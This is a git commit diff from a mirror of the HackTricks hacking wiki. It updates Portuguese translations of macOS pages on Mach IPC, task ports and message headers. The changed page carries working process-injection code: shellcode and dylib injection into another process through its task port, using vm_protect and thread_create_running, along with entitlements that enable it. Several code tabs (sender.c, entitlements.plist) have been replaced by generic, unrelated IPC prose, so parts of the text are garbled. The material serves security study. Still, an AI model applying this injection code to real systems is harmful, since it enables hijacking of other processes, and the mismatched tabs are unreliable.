mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
041a43bb24
commit
19f2e032f3
3 changed files with 200 additions and 169 deletions
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
@ -38,31 +38,35 @@ Os direitos de porta, que definem quais operações uma tarefa pode realizar, s
|
|||
* **Direito de conjunto de portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Os conjuntos de portas podem ser usados para escutar várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
|
||||
* **Nome morto**, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.
|
||||
|
||||
**As tarefas podem transferir Direitos de ENVIO para outras**, permitindo que elas enviem mensagens de volta. **Os Direitos de ENVIO também podem ser clonados, para que uma tarefa possa duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
|
||||
**As tarefas podem transferir DIREITOS DE ENVIO para outras**, permitindo que elas enviem mensagens de volta. **Os DIREITOS DE ENVIO também podem ser clonados, para que uma tarefa possa duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
|
||||
|
||||
### Portas de Arquivo
|
||||
|
||||
Portas de arquivo permitem encapsular descritores de arquivo em portas Mac (usando direitos de porta Mach). É possível criar um `fileport` a partir de um FD dado usando `fileport_makeport` e criar um FD a partir de um fileport usando `fileport_makefd`.
|
||||
|
||||
### Estabelecendo uma comunicação
|
||||
|
||||
#### Etapas:
|
||||
|
||||
Como mencionado, para estabelecer o canal de comunicação, o **servidor de inicialização** (**launchd** no mac) está envolvido.
|
||||
Como mencionado, para estabelecer o canal de comunicação, o **servidor de inicialização** (**launchd** no Mac) está envolvido.
|
||||
|
||||
1. A Tarefa **A** inicia uma **nova porta**, obtendo um **direito de RECEBER** no processo.
|
||||
2. A Tarefa **A**, sendo a detentora do Direito de RECEBER, **gera um Direito de ENVIO para a porta**.
|
||||
3. A Tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, fornecendo o **nome do serviço da porta** e o **Direito de ENVIO** por meio de um procedimento conhecido como registro de inicialização.
|
||||
4. A Tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização para o nome do serviço**. Se bem-sucedido, o **servidor duplica o Direito de ENVIO** recebido da Tarefa A e **transmite para a Tarefa B**.
|
||||
5. Ao adquirir um Direito de ENVIO, a Tarefa **B** é capaz de **formular** uma **mensagem** e enviá-la **para a Tarefa A**.
|
||||
2. A Tarefa **A**, sendo a detentora do direito de RECEBER, **gera um direito de ENVIO para a porta**.
|
||||
3. A Tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, fornecendo o **nome do serviço da porta** e o **direito de ENVIO** por meio de um procedimento conhecido como registro de inicialização.
|
||||
4. A Tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização para o nome do serviço**. Se bem-sucedido, o **servidor duplica o direito de ENVIO** recebido da Tarefa A e **transmite para a Tarefa B**.
|
||||
5. Ao adquirir um direito de ENVIO, a Tarefa **B** é capaz de **formular** uma **mensagem** e enviá-la **para a Tarefa A**.
|
||||
6. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO para a Tarefa A** para que ela possa enviar mensagens para a Tarefa B (comunicação bidirecional).
|
||||
|
||||
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **fingir ser qualquer tarefa do sistema**, como reivindicar falsamente um nome de serviço de autorização e então aprovar cada solicitação.
|
||||
|
||||
Então, a Apple armazena os **nomes de serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Junto de cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização, criará e manterá um **Direito de RECEBER para cada um desses nomes de serviço**.
|
||||
Então, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Ao lado de cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização criará e manterá um **direito de RECEBER para cada um desses nomes de serviço**.
|
||||
|
||||
Para esses serviços predefinidos, o **processo de busca difere ligeiramente**. Quando um nome de serviço está sendo buscado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:
|
||||
Para esses serviços predefinidos, o **processo de busca difere ligeiramente**. Quando um nome de serviço está sendo procurado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:
|
||||
|
||||
* A Tarefa **B** inicia uma **busca de inicialização** para um nome de serviço.
|
||||
* O **launchd** verifica se a tarefa está em execução e, se não estiver, a **inicia**.
|
||||
* A Tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um Direito de ENVIO, o mantém e **transfere o Direito de RECEBER para a Tarefa A**.
|
||||
* O launchd duplica o **Direito de ENVIO e envia para a Tarefa B**.
|
||||
* A Tarefa **A** (o serviço) executa um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIO, o retém e **transfere o direito de RECEBER para a Tarefa A**.
|
||||
* O launchd duplica o **direito de ENVIO e envia para a Tarefa B**.
|
||||
* A Tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO para a Tarefa A** (o svc) para que ela possa enviar mensagens para a Tarefa B (comunicação bidirecional).
|
||||
|
||||
No entanto, esse processo se aplica apenas a tarefas de sistema predefinidas. Tarefas não pertencentes ao sistema ainda operam conforme descrito originalmente, o que poderia potencialmente permitir a falsificação.
|
||||
|
@ -71,7 +75,7 @@ No entanto, esse processo se aplica apenas a tarefas de sistema predefinidas. Ta
|
|||
|
||||
[Encontre mais informações aqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
A função `mach_msg`, essencialmente uma chamada de sistema, é utilizada para enviar e receber mensagens Mach. A função requer que a mensagem seja enviada como argumento inicial. Esta mensagem deve começar com uma estrutura `mach_msg_header_t`, seguida pelo conteúdo da mensagem. A estrutura é definida da seguinte forma:
|
||||
A função `mach_msg`, essencialmente uma chamada de sistema, é utilizada para enviar e receber mensagens Mach. A função requer que a mensagem seja enviada como argumento inicial. Esta mensagem deve começar com uma estrutura `mach_msg_header_t`, seguida pelo conteúdo da mensagem real. A estrutura é definida da seguinte forma:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
|
@ -98,18 +102,18 @@ Os outros campos do cabeçalho da mensagem são:
|
|||
- `msgh_id`: o ID desta mensagem, que é interpretado pelo receptor.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que **as mensagens mach são enviadas por uma **_**porta mach**_, que é um canal de comunicação de **um único receptor**, **múltiplos remetentes** integrado ao kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
|
||||
Observe que **as mensagens mach são enviadas por uma porta mach**, que é um canal de comunicação de **um único receptor**, **múltiplos remetentes** integrado ao kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
|
||||
{% endhint %}
|
||||
|
||||
### Enumerar portas
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
Podes instalar esta ferramenta no iOS ao descarregá-la de [http://newosxbook.com/tools/binpack64-256.tar.gz ](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
Pode instalar esta ferramenta no iOS fazendo o download em [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
|
||||
### Exemplo de código
|
||||
|
||||
Note como o **emissor** **aloca** uma porta, cria um **direito de envio** para o nome `org.darlinghq.example` e o envia para o **servidor de arranque** enquanto o emissor pediu o **direito de envio** desse nome e o usou para **enviar uma mensagem**.
|
||||
Observe como o **remetente** **aloca** uma porta, cria um **direito de envio** para o nome `org.darlinghq.example` e o envia para o **servidor de inicialização** enquanto o remetente solicitou o **direito de envio** desse nome e o usou para **enviar uma mensagem**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="receiver.c" %}
|
||||
|
@ -180,52 +184,29 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}
|
||||
{% tab title="sender.c" %}
|
||||
|
||||
### macOS IPC - Comunicação entre Processos
|
||||
## macOS IPC - Comunicação entre Processos
|
||||
|
||||
Neste exemplo, o arquivo `sender.c` demonstra como enviar uma mensagem para outro processo usando a comunicação entre processos (IPC) no macOS.
|
||||
### Introdução
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos possam trocar informações e coordenar suas atividades em um sistema operacional. No macOS, existem várias formas de IPC disponíveis, como notificações por push, Apple Events, XPC e IPC baseado em porta.
|
||||
|
||||
int main() {
|
||||
int fd[2];
|
||||
pid_t pid;
|
||||
char message[] = "Hello, receiver!";
|
||||
### Apple Events
|
||||
|
||||
if (pipe(fd) < 0) {
|
||||
perror("Pipe error");
|
||||
exit(1);
|
||||
}
|
||||
Os Apple Events são uma forma de IPC usada para automatizar aplicativos no macOS. Eles permitem que um aplicativo envie comandos e dados para outro aplicativo, possibilitando a automação de tarefas e a integração entre diferentes aplicativos.
|
||||
|
||||
pid = fork();
|
||||
### XPC
|
||||
|
||||
if (pid < 0) {
|
||||
perror("Fork error");
|
||||
exit(1);
|
||||
}
|
||||
O XPC é um framework de IPC leve e seguro fornecido pela Apple. Ele permite que os aplicativos dividam tarefas em processos separados, melhorando a estabilidade e segurança do sistema.
|
||||
|
||||
if (pid > 0) {
|
||||
close(fd[0]);
|
||||
write(fd[1], message, strlen(message) + 1);
|
||||
close(fd[1]);
|
||||
} else {
|
||||
close(fd[1]);
|
||||
char message_buffer[100];
|
||||
read(fd[0], message_buffer, sizeof(message_buffer));
|
||||
printf("Received message: %s\n", message_buffer);
|
||||
close(fd[0]);
|
||||
}
|
||||
### IPC baseado em porta
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
O IPC baseado em porta é uma forma de comunicação entre processos que utiliza portas para enviar mensagens entre processos. No macOS, o IPC baseado em porta é implementado pelo Mach IPC, que é a base para muitos outros mecanismos de IPC no sistema.
|
||||
|
||||
Este código cria um processo filho que compartilha um pipe com o processo pai para enviar a mensagem "Hello, receiver!".
|
||||
### Conclusão
|
||||
|
||||
Compreender os diferentes mecanismos de IPC disponíveis no macOS é essencial para desenvolver aplicativos seguros e eficientes. Cada forma de IPC tem suas próprias vantagens e limitações, e a escolha do mecanismo adequado depende dos requisitos específicos de cada aplicativo.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
@ -284,18 +265,18 @@ printf("Sent a message\n");
|
|||
|
||||
### Portas Privilegiadas
|
||||
|
||||
- **Porta do host**: Se um processo tem o privilégio de **Enviar** sobre esta porta, ele pode obter **informações** sobre o **sistema** (por exemplo, `host_processor_info`).
|
||||
- **Porta de privilégio do host**: Um processo com direito de **Enviar** sobre esta porta pode realizar **ações privilegiadas** como carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
|
||||
- **Porta do host**: Se um processo tem **privilégio de Envio** sobre esta porta, ele pode obter **informações** sobre o **sistema** (por exemplo, `host_processor_info`).
|
||||
- **Porta de privilégio do host**: Um processo com direito de **Envio** sobre esta porta pode realizar **ações privilegiadas** como carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
|
||||
- Além disso, para chamar a API **`kext_request`**, é necessário ter outros privilégios **`com.apple.private.kext*`**, que são concedidos apenas a binários da Apple.
|
||||
- **Porta do nome da tarefa**: Uma versão não privilegiada da _porta da tarefa_. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa que parece estar disponível por meio dela é `task_info()`.
|
||||
- **Porta do nome da tarefa**: Uma versão não privilegiada da _porta da tarefa_. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa aparentemente disponível por meio dela é `task_info()`.
|
||||
- **Porta da tarefa** (também conhecida como porta do kernel)**:** Com permissão de Envio sobre esta porta, é possível controlar a tarefa (ler/escrever memória, criar threads...).
|
||||
- Chame `mach_task_self()` para **obter o nome** desta porta para a tarefa do chamador. Esta porta é apenas **herdada** através do **`exec()`**; uma nova tarefa criada com `fork()` obtém uma nova porta de tarefa (como caso especial, uma tarefa também obtém uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de iniciar uma tarefa e obter sua porta é realizar a ["dança de troca de portas"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) enquanto faz um `fork()`.
|
||||
- Chame `mach_task_self()` para **obter o nome** desta porta para a tarefa do chamador. Esta porta é apenas **herdada** através de **`exec()`**; uma nova tarefa criada com `fork()` obtém uma nova porta de tarefa (como caso especial, uma tarefa também obtém uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de iniciar uma tarefa e obter sua porta é realizar a ["dança de troca de porta"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) enquanto faz um `fork()`.
|
||||
- Estas são as restrições para acessar a porta (do `macos_task_policy` do binário `AppleMobileFileIntegrity`):
|
||||
- Se o aplicativo tiver o privilégio **`com.apple.security.get-task-allow`**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionado pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
|
||||
- Aplicativos com o privilégio **`com.apple.system-task-ports`** podem obter a **porta da tarefa de qualquer** processo, exceto o kernel. Em versões mais antigas, era chamado de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
|
||||
- **Root pode acessar portas de tarefas** de aplicativos **não** compilados com um tempo de execução **fortificado** (e não da Apple).
|
||||
|
||||
### Injeção de Shellcode em thread via Porta da Tarefa 
|
||||
### Injeção de Shellcode em thread via Porta da Tarefa
|
||||
|
||||
Você pode obter um shellcode em:
|
||||
|
||||
|
@ -335,31 +316,31 @@ return 0;
|
|||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
## macOS IPC (Comunicação entre Processos)
|
||||
|
||||
### Introduction
|
||||
### Introdução
|
||||
|
||||
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other on macOS. There are various IPC mechanisms available on macOS, such as Mach ports, XPC services, Distributed Objects, and UNIX domain sockets.
|
||||
A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos em um sistema operacional possam interagir entre si. No macOS, existem várias formas de IPC, como notificações por push, Apple Events, XPC e IPC baseado em porta.
|
||||
|
||||
### Mach Ports
|
||||
### Notificações por Push
|
||||
|
||||
Mach ports are a fundamental IPC mechanism on macOS, allowing processes to send messages and data between each other. They are used by the system and applications for various purposes, such as inter-process communication and synchronization.
|
||||
As notificações por push são usadas para enviar informações entre processos de forma assíncrona. Isso é comumente usado em aplicativos para notificar sobre eventos ou atualizações.
|
||||
|
||||
### XPC Services
|
||||
### Apple Events
|
||||
|
||||
XPC Services are a high-level IPC mechanism provided by the XPC framework on macOS. They allow applications to create separate processes to perform specific tasks in a secure and isolated manner. XPC Services use Mach ports for communication between processes.
|
||||
Os Apple Events são uma forma de IPC usada para automatizar tarefas entre aplicativos. Eles permitem que um aplicativo envie comandos para outro aplicativo para que ele execute ações específicas.
|
||||
|
||||
### Distributed Objects
|
||||
### XPC
|
||||
|
||||
Distributed Objects is an IPC mechanism that allows objects to be passed between processes on macOS. It enables applications to communicate and share objects across different processes using a proxy mechanism.
|
||||
O XPC (XPC Services) é um mecanismo de IPC mais seguro e eficiente introduzido no macOS. Ele permite que os aplicativos dividam tarefas em processos separados, melhorando a segurança e estabilidade do sistema.
|
||||
|
||||
### UNIX Domain Sockets
|
||||
### IPC baseado em porta
|
||||
|
||||
UNIX domain sockets are another IPC mechanism available on macOS, allowing communication between processes on the same system. They provide a way for processes to exchange data locally without going through the network stack.
|
||||
O IPC baseado em porta é usado para comunicação entre processos em um sistema. Cada porta tem um nome único e os processos podem enviar mensagens um para o outro através dessas portas.
|
||||
|
||||
### Conclusion
|
||||
### Conclusão
|
||||
|
||||
Understanding the different IPC mechanisms available on macOS is crucial for developers and security professionals to design secure and efficient communication between processes. Each IPC mechanism has its strengths and weaknesses, and choosing the right one depends on the specific requirements of the application or system.
|
||||
Compreender os diferentes métodos de IPC no macOS é essencial para desenvolver aplicativos seguros e estáveis. Cada método tem suas próprias vantagens e casos de uso específicos, e escolher o método certo depende dos requisitos do aplicativo e do nível de segurança desejado.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -374,7 +355,7 @@ Understanding the different IPC mechanisms available on macOS is crucial for dev
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Compile** o programa anterior e adicione as **permissões** para poder injetar código com o mesmo usuário (caso contrário, será necessário usar **sudo**).
|
||||
**Compile** o programa anterior e adicione as **permissões** necessárias para poder injetar código com o mesmo usuário (caso contrário, será necessário usar **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -582,9 +563,9 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|||
```
|
||||
### Injeção de Dylib em thread via porta de Tarefa
|
||||
|
||||
No macOS, **threads** podem ser manipulados via **Mach** ou usando a **API posix `pthread`**. A thread que geramos na injeção anterior foi gerada usando a api Mach, então **não é compatível com posix**.
|
||||
No macOS, as **threads** podem ser manipuladas via **Mach** ou usando a **API posix `pthread`**. A thread gerada na injeção anterior foi gerada usando a api Mach, então **não é compatível com posix**.
|
||||
|
||||
Foi possível **injetar um shellcode simples** para executar um comando porque **não precisava trabalhar com apis compatíveis com posix**, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
|
||||
Foi possível **injetar um shellcode simples** para executar um comando porque **não era necessário trabalhar com apis compatíveis com posix**, apenas com Mach. **Injeções mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
|
||||
|
||||
Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`** que irá **criar um pthread válido**. Em seguida, este novo pthread poderia **chamar dlopen** para **carregar uma dylib** do sistema, então em vez de escrever novo shellcode para realizar ações diferentes, é possível carregar bibliotecas personalizadas.
|
||||
|
||||
|
@ -796,32 +777,33 @@ return (-3);
|
|||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
```c
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"Não foi possível definir as permissões de memória para o código da thread remota: Erro %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
// Definir as permissões na memória alocada para a pilha
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
fprintf(stderr,"Não foi possível definir as permissões de memória para a pilha da thread remota: Erro %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
// Criar thread para executar o shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
remoteStack64 += (STACK_SIZE / 2); // esta é a pilha real
|
||||
//remoteStack64 -= 8; // necessita alinhamento de 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
|
@ -830,13 +812,13 @@ remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
|||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
printf ("Pilha Remota 64 0x%llx, Código Remoto é %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
fprintf(stderr,"Não foi possível criar a thread remota: erro %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
@ -849,8 +831,8 @@ int main(int argc, const char * argv[])
|
|||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
fprintf (stderr, "Uso: %s _pid_ _ação_\n", argv[0]);
|
||||
fprintf (stderr, " _ação_: caminho para um dylib no disco\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
@ -862,7 +844,7 @@ int rc = stat (action, &buf);
|
|||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
fprintf(stderr,"Dylib não encontrado\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -884,7 +866,7 @@ Nesta técnica, uma thread do processo é sequestrada:
|
|||
|
||||
### Informações Básicas
|
||||
|
||||
XPC, que significa Comunicação entre Processos XNU (o kernel usado pelo macOS), é um framework para **comunicação entre processos** no macOS e iOS. XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o dano potencial de um processo comprometido.
|
||||
XPC, que significa Comunicação entre Processos XNU (o kernel usado pelo macOS), é um framework para **comunicação entre processos** no macOS e iOS. XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim os danos potenciais de um processo comprometido.
|
||||
|
||||
Para obter mais informações sobre como essa **comunicação funciona** e como ela **pode ser vulnerável**, confira:
|
||||
|
||||
|
@ -919,7 +901,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,47 +1,47 @@
|
|||
# Arquivos, Pastas, Binários e Memória do macOS
|
||||
# macOS Arquivos, Pastas, Binários e Memória
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Layout da Hierarquia de Arquivos
|
||||
## Layout da hierarquia de arquivos
|
||||
|
||||
- **/Applications**: Os aplicativos instalados devem estar aqui. Todos os usuários poderão acessá-los.
|
||||
- **/bin**: Binários da linha de comando
|
||||
- **/cores**: Se existir, é usado para armazenar despejos de núcleo
|
||||
- **/dev**: Tudo é tratado como um arquivo, então você pode ver dispositivos de hardware armazenados aqui.
|
||||
- **/etc**: Arquivos de configuração
|
||||
- **/Library**: Muitos subdiretórios e arquivos relacionados a preferências, caches e logs podem ser encontrados aqui. Uma pasta Library existe na raiz e em cada diretório de usuário.
|
||||
- **/private**: Não documentado, mas muitas das pastas mencionadas são links simbólicos para o diretório privado.
|
||||
- **/sbin**: Binários essenciais do sistema (relacionados à administração)
|
||||
- **/System**: Arquivo para fazer o OS X funcionar. Você deve encontrar principalmente apenas arquivos específicos da Apple aqui (não de terceiros).
|
||||
- **/tmp**: Arquivos são excluídos após 3 dias (é um link simbólico para /private/tmp)
|
||||
